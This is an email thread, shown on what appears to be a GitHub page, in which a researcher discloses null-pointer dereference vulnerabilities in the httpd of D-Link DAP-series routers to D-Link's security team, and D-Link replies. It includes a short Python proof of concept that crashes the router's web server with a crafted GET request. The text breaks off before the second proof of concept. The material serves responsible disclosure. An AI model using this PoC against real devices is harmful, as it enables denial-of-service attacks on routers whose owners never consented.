main

EQUAFL / dlink-email-cve.pdf

zyw-200 Add files via upload History

1 contributor

152 KB

Re: Vulnerability report on DAP-series routers

William Brown <william.brown@dlink.com>
周一 2021/1/25 14:06
收件人: Zheng Yaowen <yaowen.zheng@ntu.edu.sg>

I just discussed this issue with R&D, I should have updates later this week.

Thank you for your patients,
Regards,
William Brown

William Brown January 11, 2021 at 8:51 PM

Thank you for the report.

I will raise it to our R&D for validation and plan of correction.

These production is going through some firmware patches that are related, and some may have been addressed.

I will reply once I have further information.

Regards,
William Brown
D-Link US SIRT

Zheng Yaowen January 3, 2021 at 8:07 AM

Dear Sir/Madam,

I'm writing this letter to report three security issues found in the DAP-series routers.
The following are the details, and I'm looking forward to your reply.

#vul 1#
null pointer dereference vulnerability exists in the 'upload_certificate' function of sbin/httpd binary.
When the binary handle the specific HTTP GET request, the strrchr in 'upload_certificate' function would take NULL as first argument, and incur the null pointer dereference vulnerability.

POC:

```
-------------------------------------------------------------------------------------------------------------------------
--------------------
import socket
import struct

buf = "GET /upload_certificate_int HTTP/1.1\r\n"
buf+= "Host: xxxxx\r\n"
buf+="Content-Length: 13\r\n\r\ntest=test\r\n\r\n"

print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.50", 80))
s.send(buf)
```

```
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.50", 80))
s.send(buf)
```


'upload_certificate' in PoC could be replaced by 'upload_ca' or 'upload_privatekey_int'

#vul 2#
null pointer dereference vulnerability exists in the 'upload_config' function of sbin/httpd binary.
When the binary handle the specific HTTP GET request, the content in upload_file variable is NULL in 'upload_config' function then the strncasecmp would take NULL as first argument, and incur the null pointer dereference vulnerability.

POC:
